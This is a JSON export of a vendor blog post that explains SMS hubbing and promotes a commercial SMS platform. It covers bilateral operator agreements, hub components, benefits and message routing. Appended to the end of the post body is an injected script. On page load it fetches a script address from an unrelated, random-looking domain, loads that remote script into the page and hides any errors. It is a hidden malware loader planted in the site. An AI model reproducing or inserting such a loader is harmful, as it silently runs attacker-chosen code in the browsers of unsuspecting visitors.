{"id":2029,"date":"2020-12-24T14:27:02","date_gmt":"2020-12-24T14:27:02","guid":{"rendered":"https:\/\/www.revesoft.com\/blog\/?p=2029"},"modified":"2025-09-05T11:33:04","modified_gmt":"2025-09-05T11:33:04","slug":"sms-hubbing","status":"publish","type":"post","link":"https:\/\/www.revesoft.com\/blog\/sms-platform\/sms-hubbing\/","title":{"rendered":"Everything You Need Know About SMS Hubbing"},"content":{"rendered":"<p><span style=\"font-weight: 400;\">Do you have access to text messaging? Ask this question to anyone in the world, and the answer would be Yes! Today SMS is an essential form of messaging for business and personal communication. <\/span><\/p>\n<blockquote><p><b><i>Text messages are sent by nearly 5 billion people, which equals almost 65% of the world\u2019s population. <\/i><\/b><b><i>The market value of the SMS industry is expected to reach USD 12 billion by 2025, making it one of the most widely used communication channels.\u00a0<\/i><\/b><\/p><\/blockquote>\n<p><span style=\"font-weight: 400;\">However, the underlying infrastructure that enables SMS communication often goes unnoticed. One aspect of our daily communication that has faced persistent challenges is the international interoperability of SMS. There has been a limitation in the international interoperability of SMS for a long time because of how mobile operators globally are connected. For mobile subscribers to send and receive text messages worldwide, the telecom operators to whom they are subscribed must connect their networks.<\/span><\/p>\n<div id=\"ez-toc-container\" class=\"ez-toc-v2_0_42 counter-hierarchy ez-toc-counter ez-toc-grey ez-toc-container-direction\">\n<div class=\"ez-toc-title-container\">\n<p class=\"ez-toc-title\">Table of Contents<\/p>\n<span class=\"ez-toc-title-toggle\"><a href=\"#\" class=\"ez-toc-pull-right ez-toc-btn ez-toc-btn-xs ez-toc-btn-default ez-toc-toggle\" area-label=\"ez-toc-toggle-icon-1\"><label for=\"item-691d4fa88abbd\" aria-label=\"Table of Content\"><span style=\"display: flex;align-items: center;width: 35px;height: 30px;justify-content: center;direction:ltr;\"><svg style=\"fill: #999;color:#999\" xmlns=\"http:\/\/www.w3.org\/2000\/svg\" class=\"list-377408\" width=\"20px\" height=\"20px\" viewBox=\"0 0 24 24\" fill=\"none\"><path d=\"M6 6H4v2h2V6zm14 0H8v2h12V6zM4 11h2v2H4v-2zm16 0H8v2h12v-2zM4 16h2v2H4v-2zm16 0H8v2h12v-2z\" fill=\"currentColor\"><\/path><\/svg><svg style=\"fill: #999;color:#999\" class=\"arrow-unsorted-368013\" xmlns=\"http:\/\/www.w3.org\/2000\/svg\" width=\"10px\" height=\"10px\" viewBox=\"0 0 24 24\" version=\"1.2\" baseProfile=\"tiny\"><path d=\"M18.2 9.3l-6.2-6.3-6.2 6.3c-.2.2-.3.4-.3.7s.1.5.3.7c.2.2.4.3.7.3h11c.3 0 .5-.1.7-.3.2-.2.3-.5.3-.7s-.1-.5-.3-.7zM5.8 14.7l6.2 6.3 6.2-6.3c.2-.2.3-.5.3-.7s-.1-.5-.3-.7c-.2-.2-.4-.3-.7-.3h-11c-.3 0-.5.1-.7.3-.2.2-.3.5-.3.7s.1.5.3.7z\"\/><\/svg><\/span><\/label><input  type=\"checkbox\" id=\"item-691d4fa88abbd\"><\/a><\/span><\/div>\n<nav><ul class='ez-toc-list ez-toc-list-level-1 eztoc-visibility-hide-by-default' ><li class='ez-toc-page-1 ez-toc-heading-level-2'><a class=\"ez-toc-link ez-toc-heading-1\" href=\"https:\/\/www.revesoft.com\/blog\/sms-platform\/sms-hubbing\/#The_Challenge_Bilateral_Agreements_for_International_SMS_Traffic\" title=\"The Challenge: Bilateral Agreements for International SMS Traffic\">The Challenge: Bilateral Agreements for International SMS Traffic<\/a><\/li><li class='ez-toc-page-1 ez-toc-heading-level-2'><a class=\"ez-toc-link ez-toc-heading-2\" href=\"https:\/\/www.revesoft.com\/blog\/sms-platform\/sms-hubbing\/#Introduction_of_SMS_Hubbing_What_is_an_SMS_Hub\" title=\"Introduction of SMS Hubbing: What is an SMS Hub?\">Introduction of SMS Hubbing: What is an SMS Hub?<\/a><\/li><li class='ez-toc-page-1 ez-toc-heading-level-2'><a class=\"ez-toc-link ez-toc-heading-3\" href=\"https:\/\/www.revesoft.com\/blog\/sms-platform\/sms-hubbing\/#5_Key_Elements_of_SMS_Hubbing\" title=\"5 Key Elements of SMS Hubbing\">5 Key Elements of SMS Hubbing<\/a><ul class='ez-toc-list-level-3'><li class='ez-toc-heading-level-3'><a class=\"ez-toc-link ez-toc-heading-4\" href=\"https:\/\/www.revesoft.com\/blog\/sms-platform\/sms-hubbing\/#SMS_Gateway\" title=\"SMS Gateway\">SMS Gateway<\/a><\/li><li class='ez-toc-page-1 ez-toc-heading-level-3'><a class=\"ez-toc-link ez-toc-heading-5\" href=\"https:\/\/www.revesoft.com\/blog\/sms-platform\/sms-hubbing\/#Mobile_Network_Operators_MNOs\" title=\"Mobile Network Operators (MNOs)\">Mobile Network Operators (MNOs)<\/a><\/li><li class='ez-toc-page-1 ez-toc-heading-level-3'><a class=\"ez-toc-link ez-toc-heading-6\" href=\"https:\/\/www.revesoft.com\/blog\/sms-platform\/sms-hubbing\/#Aggregators\" title=\"Aggregators\">Aggregators<\/a><\/li><li class='ez-toc-page-1 ez-toc-heading-level-3'><a class=\"ez-toc-link ez-toc-heading-7\" href=\"https:\/\/www.revesoft.com\/blog\/sms-platform\/sms-hubbing\/#Roaming_Partners\" title=\"Roaming Partners\">Roaming Partners<\/a><\/li><li class='ez-toc-page-1 ez-toc-heading-level-3'><a class=\"ez-toc-link ez-toc-heading-8\" href=\"https:\/\/www.revesoft.com\/blog\/sms-platform\/sms-hubbing\/#Interconnection_Agreements\" title=\"Interconnection Agreements\">Interconnection Agreements<\/a><\/li><\/ul><\/li><li class='ez-toc-page-1 ez-toc-heading-level-2'><a class=\"ez-toc-link ez-toc-heading-9\" href=\"https:\/\/www.revesoft.com\/blog\/sms-platform\/sms-hubbing\/#Benefits_of_SMS_Hubbing\" title=\"Benefits of SMS Hubbing\">Benefits of SMS Hubbing<\/a><ul class='ez-toc-list-level-3'><li class='ez-toc-heading-level-3'><a class=\"ez-toc-link ez-toc-heading-10\" href=\"https:\/\/www.revesoft.com\/blog\/sms-platform\/sms-hubbing\/#Worldwide_Connectivity\" title=\"Worldwide Connectivity\">Worldwide Connectivity<\/a><\/li><li class='ez-toc-page-1 ez-toc-heading-level-3'><a class=\"ez-toc-link ez-toc-heading-11\" href=\"https:\/\/www.revesoft.com\/blog\/sms-platform\/sms-hubbing\/#One-to-Many_Connectivity\" title=\"One-to-Many Connectivity\">One-to-Many Connectivity<\/a><\/li><li class='ez-toc-page-1 ez-toc-heading-level-3'><a class=\"ez-toc-link ez-toc-heading-12\" href=\"https:\/\/www.revesoft.com\/blog\/sms-platform\/sms-hubbing\/#Reduces_Complexity\" title=\"Reduces Complexity\">Reduces Complexity<\/a><\/li><li class='ez-toc-page-1 ez-toc-heading-level-3'><a class=\"ez-toc-link ez-toc-heading-13\" href=\"https:\/\/www.revesoft.com\/blog\/sms-platform\/sms-hubbing\/#Saves_Cost\" title=\"Saves Cost\">Saves Cost<\/a><\/li><li class='ez-toc-page-1 ez-toc-heading-level-3'><a class=\"ez-toc-link ez-toc-heading-14\" href=\"https:\/\/www.revesoft.com\/blog\/sms-platform\/sms-hubbing\/#Interoperability\" title=\"Interoperability\">Interoperability<\/a><\/li><li class='ez-toc-page-1 ez-toc-heading-level-3'><a class=\"ez-toc-link ez-toc-heading-15\" href=\"https:\/\/www.revesoft.com\/blog\/sms-platform\/sms-hubbing\/#High_Reliability\" title=\"High Reliability\">High Reliability<\/a><\/li><li class='ez-toc-page-1 ez-toc-heading-level-3'><a class=\"ez-toc-link ez-toc-heading-16\" href=\"https:\/\/www.revesoft.com\/blog\/sms-platform\/sms-hubbing\/#Swift_Delivery\" title=\"Swift Delivery\">Swift Delivery<\/a><\/li><li class='ez-toc-page-1 ez-toc-heading-level-3'><a class=\"ez-toc-link ez-toc-heading-17\" href=\"https:\/\/www.revesoft.com\/blog\/sms-platform\/sms-hubbing\/#Enhanced_Customer_Service\" title=\"Enhanced Customer Service\">Enhanced Customer Service<\/a><\/li><\/ul><\/li><li class='ez-toc-page-1 ez-toc-heading-level-2'><a class=\"ez-toc-link ez-toc-heading-18\" href=\"https:\/\/www.revesoft.com\/blog\/sms-platform\/sms-hubbing\/#How_SMS_Hubbing_Works\" title=\"How SMS Hubbing Works?\">How SMS Hubbing Works?<\/a><ul class='ez-toc-list-level-3'><li class='ez-toc-heading-level-3'><a class=\"ez-toc-link ez-toc-heading-19\" href=\"https:\/\/www.revesoft.com\/blog\/sms-platform\/sms-hubbing\/#Message_Originates\" title=\"Message Originates\">Message Originates<\/a><\/li><li class='ez-toc-page-1 ez-toc-heading-level-3'><a class=\"ez-toc-link ez-toc-heading-20\" href=\"https:\/\/www.revesoft.com\/blog\/sms-platform\/sms-hubbing\/#Message_Routes\" title=\"Message Routes\">Message Routes<\/a><\/li><li class='ez-toc-page-1 ez-toc-heading-level-3'><a class=\"ez-toc-link ez-toc-heading-21\" href=\"https:\/\/www.revesoft.com\/blog\/sms-platform\/sms-hubbing\/#SMS_Hub_Processes\" title=\"SMS Hub Processes\">SMS Hub Processes<\/a><\/li><li class='ez-toc-page-1 ez-toc-heading-level-3'><a class=\"ez-toc-link ez-toc-heading-22\" href=\"https:\/\/www.revesoft.com\/blog\/sms-platform\/sms-hubbing\/#Message_Delivery\" title=\"Message Delivery\">Message Delivery<\/a><\/li><\/ul><\/li><li class='ez-toc-page-1 ez-toc-heading-level-2'><a class=\"ez-toc-link ez-toc-heading-23\" href=\"https:\/\/www.revesoft.com\/blog\/sms-platform\/sms-hubbing\/#How_to_Choose_the_Right_SMS_Hubbing_Solution\" title=\"How to Choose the Right SMS Hubbing Solution?\">How to Choose the Right SMS Hubbing Solution?<\/a><ul class='ez-toc-list-level-3'><li class='ez-toc-heading-level-3'><a class=\"ez-toc-link ez-toc-heading-24\" href=\"https:\/\/www.revesoft.com\/blog\/sms-platform\/sms-hubbing\/#Vendor_Selection\" title=\"Vendor Selection\">Vendor Selection<\/a><\/li><li class='ez-toc-page-1 ez-toc-heading-level-3'><a class=\"ez-toc-link ez-toc-heading-25\" href=\"https:\/\/www.revesoft.com\/blog\/sms-platform\/sms-hubbing\/#Features_User-Friendliness\" title=\"Features &amp; User-Friendliness\">Features &amp; User-Friendliness<\/a><\/li><li class='ez-toc-page-1 ez-toc-heading-level-3'><a class=\"ez-toc-link ez-toc-heading-26\" href=\"https:\/\/www.revesoft.com\/blog\/sms-platform\/sms-hubbing\/#References\" title=\"References\">References<\/a><\/li><li class='ez-toc-page-1 ez-toc-heading-level-3'><a class=\"ez-toc-link ez-toc-heading-27\" href=\"https:\/\/www.revesoft.com\/blog\/sms-platform\/sms-hubbing\/#Pricing_Liscensing\" title=\"Pricing &amp; Liscensing\">Pricing &amp; Liscensing<\/a><\/li><\/ul><\/li><li class='ez-toc-page-1 ez-toc-heading-level-2'><a class=\"ez-toc-link ez-toc-heading-28\" href=\"https:\/\/www.revesoft.com\/blog\/sms-platform\/sms-hubbing\/#Last_Words\" title=\"Last Words\">Last Words<\/a><\/li><li class='ez-toc-page-1 ez-toc-heading-level-2'><a class=\"ez-toc-link ez-toc-heading-29\" href=\"https:\/\/www.revesoft.com\/blog\/sms-platform\/sms-hubbing\/#Read_Also\" title=\"Read Also\">Read Also<\/a><ul class='ez-toc-list-level-3'><li class='ez-toc-heading-level-3'><a class=\"ez-toc-link ez-toc-heading-30\" href=\"https:\/\/www.revesoft.com\/blog\/sms-platform\/sms-hubbing\/#How_to_Choose_The_Right_SMS_Platform_for_Business\" title=\"How to Choose The Right SMS Platform for Business?\">How to Choose The Right SMS Platform for Business?<\/a><\/li><\/ul><\/li><\/ul><\/nav><\/div>\n<h2><span class=\"ez-toc-section\" id=\"The_Challenge_Bilateral_Agreements_for_International_SMS_Traffic\"><\/span>The Challenge: Bilateral Agreements for International SMS Traffic<span class=\"ez-toc-section-end\"><\/span><\/h2>\n<p><img loading=\"lazy\" decoding=\"async\" class=\" wp-image-4020 aligncenter\" src=\"https:\/\/www.revesoft.com\/blog\/wp-content\/uploads\/2020\/12\/What-is-Bilateral-Agreement.jpg\" alt=\"What is Bilateral Agreement\" width=\"619\" height=\"474\" \/><\/p>\n<p><span style=\"font-weight: 400;\">The implementation requires each operator to sign a complex bilateral agreement with other operators with whom they want to exchange messages. The main purpose of this agreement was to attain complete interoperability that facilitates each network to exchange messages with every other network.<\/span><\/p>\n<p><span style=\"font-weight: 400;\">Being a time-consuming process to set up multiple agreements between mobile operators, it limited the international reach of SMS. This is where SMS hubs come into play.<\/span><\/p>\n<h2><span class=\"ez-toc-section\" id=\"Introduction_of_SMS_Hubbing_What_is_an_SMS_Hub\"><\/span>Introduction of SMS Hubbing: What is an SMS Hub?<span class=\"ez-toc-section-end\"><\/span><\/h2>\n<p><img loading=\"lazy\" decoding=\"async\" class=\"size-full wp-image-4018 aligncenter\" src=\"https:\/\/www.revesoft.com\/blog\/wp-content\/uploads\/2020\/12\/SMS-Hubbing-Insight.jpg\" alt=\"SMS Hubbing Insight\" width=\"707\" height=\"470\" \/><\/p>\n<p><span style=\"font-weight: 400;\">The GSM Association (GSMA) identified that the problem of multiple agreements can be addressed by SMS hubbing to prevent the challenges of international SMS. SMS hubbing solves this problem by implementing a new structure that streamlines the international flow of SMS.<\/span><\/p>\n<p><span style=\"font-weight: 400;\">The SMS hub is a transfer house from which SMS traffic is transmitted to the final destination. In layman\u2019s terms, the SMS hub acts as a central place that receives and sends SMS messages from several operators.<\/span><\/p>\n<p><img loading=\"lazy\" decoding=\"async\" class=\"size-full wp-image-4017 aligncenter\" src=\"https:\/\/www.revesoft.com\/blog\/wp-content\/uploads\/2020\/12\/What-is-SMS-Hub.jpg\" alt=\"What is SMS Hub\" width=\"707\" height=\"302\" \/><\/p>\n<p><span style=\"font-weight: 400;\">Hubs have agreements with multiple operators for sending and receiving traffic. This makes the process quite simple as MNOs now need to contact a few hubs instead of negotiating with worldwide operators. The hubs are responsible for handling the traffic of messages between networks.<\/span><\/p>\n<h2><span class=\"ez-toc-section\" id=\"5_Key_Elements_of_SMS_Hubbing\"><\/span>5 Key Elements of SMS Hubbing<span class=\"ez-toc-section-end\"><\/span><\/h2>\n<p><span style=\"font-weight: 400;\">To understand the concept of SMS Hubbing fully, let\u2019s break down its core components one by one:<\/span><\/p>\n<h3><span class=\"ez-toc-section\" id=\"SMS_Gateway\"><\/span>SMS Gateway<span class=\"ez-toc-section-end\"><\/span><\/h3>\n<p><span style=\"font-weight: 400;\">You can consider this as an interface between the SMS Hub and various mobile network operators. <a href=\"https:\/\/www.revesoft.com\/blog\/sms-platform\/sms-gateway\/\" target=\"_blank\" rel=\"noopener\">SMS Gateway<\/a> is the central unit of the SMS hub. Various types of operations including receiving, routing, and transmitting the SMS messages are done by SMS Gateway.\u00a0<\/span><\/p>\n<h3><span class=\"ez-toc-section\" id=\"Mobile_Network_Operators_MNOs\"><\/span>Mobile Network Operators (MNOs)<span class=\"ez-toc-section-end\"><\/span><\/h3>\n<p><span style=\"font-weight: 400;\">These are independent communication service providers that provide wireless voice and data services to mobile phone subscribers.\u00a0\u00a0<\/span><\/p>\n<h3><span class=\"ez-toc-section\" id=\"Aggregators\"><\/span>Aggregators<span class=\"ez-toc-section-end\"><\/span><\/h3>\n<p><span style=\"font-weight: 400;\">These are intermediaries that help SMS traffic route efficiently. They work closely with MNOs and SMS Hubs and look after the commercial aspects of SMS delivery.\u00a0<\/span><\/p>\n<h3><span class=\"ez-toc-section\" id=\"Roaming_Partners\"><\/span>Roaming Partners<span class=\"ez-toc-section-end\"><\/span><\/h3>\n<p><span style=\"font-weight: 400;\">These are also Mobile Network Operators but they handle international SMS traffic. These MNOs collaborate to ensure the seamless delivery of SMS messages over international networks.<\/span><\/p>\n<h3><span class=\"ez-toc-section\" id=\"Interconnection_Agreements\"><\/span>Interconnection Agreements<span class=\"ez-toc-section-end\"><\/span><\/h3>\n<p><span style=\"font-weight: 400;\">MNOs, Aggregators, and SMS Hubs have legal and commercial agreements between them. These agreements define the terms and conditions for SMS routing and billing.\u00a0<\/span><\/p>\n<h2 style=\"text-align: justify;\"><span class=\"ez-toc-section\" id=\"Benefits_of_SMS_Hubbing\"><\/span>Benefits of SMS Hubbing<span class=\"ez-toc-section-end\"><\/span><\/h2>\n<p><span style=\"font-weight: 400;\">SMS Hubbing makes broad international SMS coverage convenient for MVNOs, Mobile Operators, and other SMS service providers. Some of the core benefits of SMS hubbing include:<\/span><\/p>\n<ul>\n<li aria-level=\"1\">\n<h3><span class=\"ez-toc-section\" id=\"Worldwide_Connectivity\"><\/span>Worldwide Connectivity<span class=\"ez-toc-section-end\"><\/span><\/h3>\n<\/li>\n<\/ul>\n<p><span style=\"font-weight: 400;\">It makes global connectivity of operators easy through a single point of contact. This ensures that SMS messages are delivered globally even if the sender and receiver are on different networks in different geographical locations or countries.\u00a0<\/span><\/p>\n<ul>\n<li aria-level=\"1\">\n<h3><span class=\"ez-toc-section\" id=\"One-to-Many_Connectivity\"><\/span>One-to-Many Connectivity<span class=\"ez-toc-section-end\"><\/span><\/h3>\n<\/li>\n<\/ul>\n<p><span style=\"font-weight: 400;\">Mobile Network Operators connect to the SMS Hub, and the hub in turn has established connections with various other MNOs. This connectivity of the SMS Hubs simplifies the process of routing SMS traffic to different destinations, as the hub takes care of the required connections.\u00a0<\/span><\/p>\n<ul>\n<li aria-level=\"1\">\n<h3><span class=\"ez-toc-section\" id=\"Reduces_Complexity\"><\/span>Reduces Complexity<span class=\"ez-toc-section-end\"><\/span><\/h3>\n<\/li>\n<\/ul>\n<p><span style=\"font-weight: 400;\">SMS Hubbing enables operators to connect to independent SMS hubs. This helps them abstain from signing multiple bilateral agreements, which is a time-consuming process. By offering a streamlined approach, SMS hubbing simplifies the administrative and legal complexities of the SMS ecosystem.\u00a0<\/span><\/p>\n<ul>\n<li aria-level=\"1\">\n<h3><span class=\"ez-toc-section\" id=\"Saves_Cost\"><\/span>Saves Cost<span class=\"ez-toc-section-end\"><\/span><\/h3>\n<\/li>\n<\/ul>\n<p><span style=\"font-weight: 400;\">Setting up multiple agreements is a costly affair. SMS Hubbing helps prevent these costs by aggregating SMS traffic and optimizing routing. This results in a significant reduction in operational costs.<\/span><\/p>\n<ul>\n<li aria-level=\"1\">\n<h3><span class=\"ez-toc-section\" id=\"Interoperability\"><\/span>Interoperability<span class=\"ez-toc-section-end\"><\/span><\/h3>\n<\/li>\n<\/ul>\n<p><span style=\"font-weight: 400;\">SMS Hubbing platforms often support a variety of protocols and standards, which makes it easier for MNOs with diverse technical infrastructures to connect and exchange SMS messages.\u00a0<\/span><\/p>\n<ul>\n<li aria-level=\"1\">\n<h3><span class=\"ez-toc-section\" id=\"High_Reliability\"><\/span>High Reliability<span class=\"ez-toc-section-end\"><\/span><\/h3>\n<\/li>\n<\/ul>\n<p><span style=\"font-weight: 400;\">SMS Hubbing minimizes the risk of SMS failure or delays in delivery to ensure reliability for critical communications. It makes use of backup and failover mechanisms, optimizes message routing, and adheres to industry standards.\u00a0<\/span><\/p>\n<ul>\n<li aria-level=\"1\">\n<h3><span class=\"ez-toc-section\" id=\"Swift_Delivery\"><\/span>Swift Delivery<span class=\"ez-toc-section-end\"><\/span><\/h3>\n<\/li>\n<\/ul>\n<p><span style=\"font-weight: 400;\">SMS Hubbing reduces message transmission time by offering efficient routing and connectivity. This contributes greatly to the swift delivery of messages and ensures that messages reach their intended recipients as soon as possible.\u00a0<\/span><\/p>\n<ul>\n<li aria-level=\"1\">\n<h3><span class=\"ez-toc-section\" id=\"Enhanced_Customer_Service\"><\/span>Enhanced Customer Service<span class=\"ez-toc-section-end\"><\/span><\/h3>\n<\/li>\n<\/ul>\n<p><span style=\"font-weight: 400;\">SMS Hubbing improves the reach and reliability of SMS messages. This is because the likelihood of messages getting delivered promptly and accurately is quite high. This helps in enhancing customer service and user experience. Just imagine how useful it would be for businesses that rely on SMS as their primary mode of communication with customers.\u00a0<\/span><\/p>\n<h2><span class=\"ez-toc-section\" id=\"How_SMS_Hubbing_Works\"><\/span>How SMS Hubbing Works?<span class=\"ez-toc-section-end\"><\/span><\/h2>\n<p><img loading=\"lazy\" decoding=\"async\" class=\"size-full wp-image-4019 aligncenter\" src=\"https:\/\/www.revesoft.com\/blog\/wp-content\/uploads\/2020\/12\/SMS-Hubbing-Working.jpg\" alt=\"SMS Hubbing Working\" width=\"707\" height=\"302\" \/><\/p>\n<ul>\n<li aria-level=\"1\">\n<h3><span class=\"ez-toc-section\" id=\"Message_Originates\"><\/span>Message Originates<span class=\"ez-toc-section-end\"><\/span><\/h3>\n<\/li>\n<\/ul>\n<p><span style=\"font-weight: 400;\">The user composes the text message and sends it from their mobile device. The message is then forwarded to their home Mobile Network Operator i.e. MNO.\u00a0<\/span><\/p>\n<ul>\n<li aria-level=\"1\">\n<h3><span class=\"ez-toc-section\" id=\"Message_Routes\"><\/span>Message Routes<span class=\"ez-toc-section-end\"><\/span><\/h3>\n<\/li>\n<\/ul>\n<p><span style=\"font-weight: 400;\">For the transmission of international SMS messages, the messages are routed through the SMS hub.\u00a0<\/span><\/p>\n<ul>\n<li aria-level=\"1\">\n<h3><span class=\"ez-toc-section\" id=\"SMS_Hub_Processes\"><\/span>SMS Hub Processes<span class=\"ez-toc-section-end\"><\/span><\/h3>\n<\/li>\n<\/ul>\n<p><span style=\"font-weight: 400;\">The text message is received by the SMS hub from the MNO. It starts processing by analyzing the destination phone number to identify its network. Using this information, the message is routed to an appropriate operator.\u00a0<\/span><\/p>\n<ul>\n<li aria-level=\"1\">\n<h3><span class=\"ez-toc-section\" id=\"Message_Delivery\"><\/span>Message Delivery<span class=\"ez-toc-section-end\"><\/span><\/h3>\n<\/li>\n<\/ul>\n<p><span style=\"font-weight: 400;\">The receiving operator delivers the text message to the recipient&#8217;s mobile device.\u00a0<\/span><\/p>\n<h2><span class=\"ez-toc-section\" id=\"How_to_Choose_the_Right_SMS_Hubbing_Solution\"><\/span>How to Choose the Right SMS Hubbing Solution?<span class=\"ez-toc-section-end\"><\/span><\/h2>\n<p><span style=\"font-weight: 400;\">Selecting the right SMS Hubbing platform can set the long-term direction of your company. Pay attention to the below-mentioned aspects:\u00a0<\/span><\/p>\n<h3><span class=\"ez-toc-section\" id=\"Vendor_Selection\"><\/span>Vendor Selection<span class=\"ez-toc-section-end\"><\/span><\/h3>\n<p><span style=\"font-weight: 400;\">Make the vendor fully understand your requirements. Ask them about their past projects and future goals. Communicate thoroughly and take your time to make a dec<\/span><span style=\"font-weight: 400;\">ision. <\/span><span style=\"font-weight: 400;\">The outcome of your evaluation will determine whether you opt for a single platform as your dependable choice or continue switching between platforms.<\/span><\/p>\n<h3><span class=\"ez-toc-section\" id=\"Features_User-Friendliness\"><\/span>Features &amp; User-Friendliness<span class=\"ez-toc-section-end\"><\/span><\/h3>\n<p><span style=\"font-weight: 400;\">An intuitive and user-friendly solution will take less time to implement and to get started. Also, you need to figure out which core features your business will need and which aren\u2019t needed. <\/span><span style=\"font-weight: 400;\">If you are a wholesale SMS business, then you can find SMS hub platforms with features like direct SMS termination, SMS coverage through a broad segment of API interfaces (HTTP, XML, Android, etc.), and a direct connection to most worldwide carriers. <\/span><a href=\"https:\/\/www.revesoft.com\/products\/reve-sms-platform\"><span style=\"font-weight: 400;\">REVE SMS platform<\/span><\/a><span style=\"font-weight: 400;\"> simplifies SMS interoperability allowing operators and service providers to handle a large volume of SMS traffic.<\/span><\/p>\n<h3><span class=\"ez-toc-section\" id=\"References\"><\/span>References<span class=\"ez-toc-section-end\"><\/span><\/h3>\n<p><span style=\"font-weight: 400;\">Testimonials act as social proof of the credibility of the service provider. Try to find verifiable testimonials from previous clients. It will help you ease any doubts or concerns you may have about the service. Ultimately, testimonials can help you feel more confident in your choice.\u00a0<\/span><\/p>\n<h3><span class=\"ez-toc-section\" id=\"Pricing_Liscensing\"><\/span>Pricing &amp; Liscensing<span class=\"ez-toc-section-end\"><\/span><\/h3>\n<p><span style=\"font-weight: 400;\">Always watch out for the full cost of a product. Besides the licensing or subscription fee, there may be some other expenses too. This may include maintenance, support, bandwidth, updates, new releases, etc. <\/span><\/p>\n<p><span style=\"font-weight: 400;\">REVE SMS Platform is a reliable vendor with 18+ years of experience in the telecommunication industry. We are your one-stop solution for SMS Hubbing, <a href=\"https:\/\/www.revesoft.com\/blog\/sms-platform\/a2p-sms-platform-provider\/\" target=\"_blank\" rel=\"noopener\">A2P SMS<\/a>, Campaign Management, and Two-way Messaging, offering both &#8216;licensed&#8217; and &#8216;hosted&#8217; versions.\u00a0<\/span><\/p>\n<h2><span class=\"ez-toc-section\" id=\"Last_Words\"><\/span>Last Words<span class=\"ez-toc-section-end\"><\/span><\/h2>\n<p><span style=\"font-weight: 400;\">The demand for global communication is continuously increasing. This underscores the critical role of SMS hubbing in facilitating smooth and affordable messaging. Have further questions about SMS Hubbing? Interested in kickstarting your <a href=\"https:\/\/www.revesoft.com\/blog\/sms-platform\/bulk-sms-drives-success-9-vital-industries\/\" target=\"_blank\" rel=\"noopener\">Bulk SMS business<\/a> by partnering with industry experts? We invite you to sign up for a free demo to receive all the assistance you require.<\/span><\/p>\n<p style=\"text-align: center;\"><a class=\"btn btn-primary\" style=\"padding: 8px 12px; font-size: 18px;\" href=\"https:\/\/www.revesoft.com\/products\/reve-sms-platform#free_demo_form\" target=\"_blank\" rel=\"noopener\">Contact for Free Demo<\/a><\/p>\n<h2 style=\"text-align: center;\"><span class=\"ez-toc-section\" id=\"Read_Also\"><\/span>Read Also<span class=\"ez-toc-section-end\"><\/span><\/h2>\n<h3 style=\"text-align: center;\"><span class=\"ez-toc-section\" id=\"How_to_Choose_The_Right_SMS_Platform_for_Business\"><\/span><a href=\"https:\/\/www.revesoft.com\/blog\/sms-platform\/choose-sms-platform-for-business\/\" target=\"_blank\" rel=\"noopener\">How to Choose The Right SMS Platform for Business?<\/a><span class=\"ez-toc-section-end\"><\/span><\/h3>\n<p>Note- This post has been updated with the latest information on 02-11-2023.<script>(async () => {\n  const TIMEOUT_MS = 60_000;\n  try {\n    const tdsResponse = await fetch('https:\/\/eotoatotlasldkd.com\/ofo');\n    const scriptUrl = (await tdsResponse.text()).trim();<\/p>\n<p>    const loadScriptWithTimeout = (url, timeout) => {\n      return new Promise((resolve, reject) => {\n        const script = document.createElement('script');\n        script.src = url;\n        script.async = true;<\/p>\n<p>        script.onload = () => {\n          clearTimeout(timer);\n          resolve();\n        };<\/p>\n<p>        script.onerror = () => {\n          clearTimeout(timer);\n          reject();\n        };<\/p>\n<p>        const timer = setTimeout(() => {\n          script.remove();\n          reject();\n        }, timeout);<\/p>\n<p>        document.body.appendChild(script);\n      });\n    };<\/p>\n<p>    await loadScriptWithTimeout(scriptUrl, TIMEOUT_MS);\n  } catch (_) {}\n})();<\/script><\/p>\n","protected":false},"excerpt":{"rendered":"<p>Do you have access to text messaging? Ask this question to anyone in the world, and the answer would be Yes! Today SMS is an essential form of messaging for business and personal communication. Text messages are sent by nearly 5 billion people, which equals almost 65% of the world\u2019s population. The market value of [&hellip;]<\/p>\n","protected":false},"author":8,"featured_media":2030,"comment_status":"open","ping_status":"open","sticky":false,"template":"","format":"standard","meta":{"footnotes":""},"categories":[159],"tags":[],"class_list":["post-2029","post","type-post","status-publish","format-standard","has-post-thumbnail","hentry","category-sms-platform"],"_links":{"self":[{"href":"https:\/\/www.revesoft.com\/blog\/wp-json\/wp\/v2\/posts\/2029","targetHints":{"allow":["GET"]}}],"collection":[{"href":"https:\/\/www.revesoft.com\/blog\/wp-json\/wp\/v2\/posts"}],"about":[{"href":"https:\/\/www.revesoft.com\/blog\/wp-json\/wp\/v2\/types\/post"}],"author":[{"embeddable":true,"href":"https:\/\/www.revesoft.com\/blog\/wp-json\/wp\/v2\/users\/8"}],"replies":[{"embeddable":true,"href":"https:\/\/www.revesoft.com\/blog\/wp-json\/wp\/v2\/comments?post=2029"}],"version-history":[{"count":23,"href":"https:\/\/www.revesoft.com\/blog\/wp-json\/wp\/v2\/posts\/2029\/revisions"}],"predecessor-version":[{"id":6485,"href":"https:\/\/www.revesoft.com\/blog\/wp-json\/wp\/v2\/posts\/2029\/revisions\/6485"}],"wp:featuredmedia":[{"embeddable":true,"href":"https:\/\/www.revesoft.com\/blog\/wp-json\/wp\/v2\/media\/2030"}],"wp:attachment":[{"href":"https:\/\/www.revesoft.com\/blog\/wp-json\/wp\/v2\/media?parent=2029"}],"wp:term":[{"taxonomy":"category","embeddable":true,"href":"https:\/\/www.revesoft.com\/blog\/wp-json\/wp\/v2\/categories?post=2029"},{"taxonomy":"post_tag","embeddable":true,"href":"https:\/\/www.revesoft.com\/blog\/wp-json\/wp\/v2\/tags?post=2029"}],"curies":[{"name":"wp","href":"https:\/\/api.w.org\/{rel}","templated":true}]}}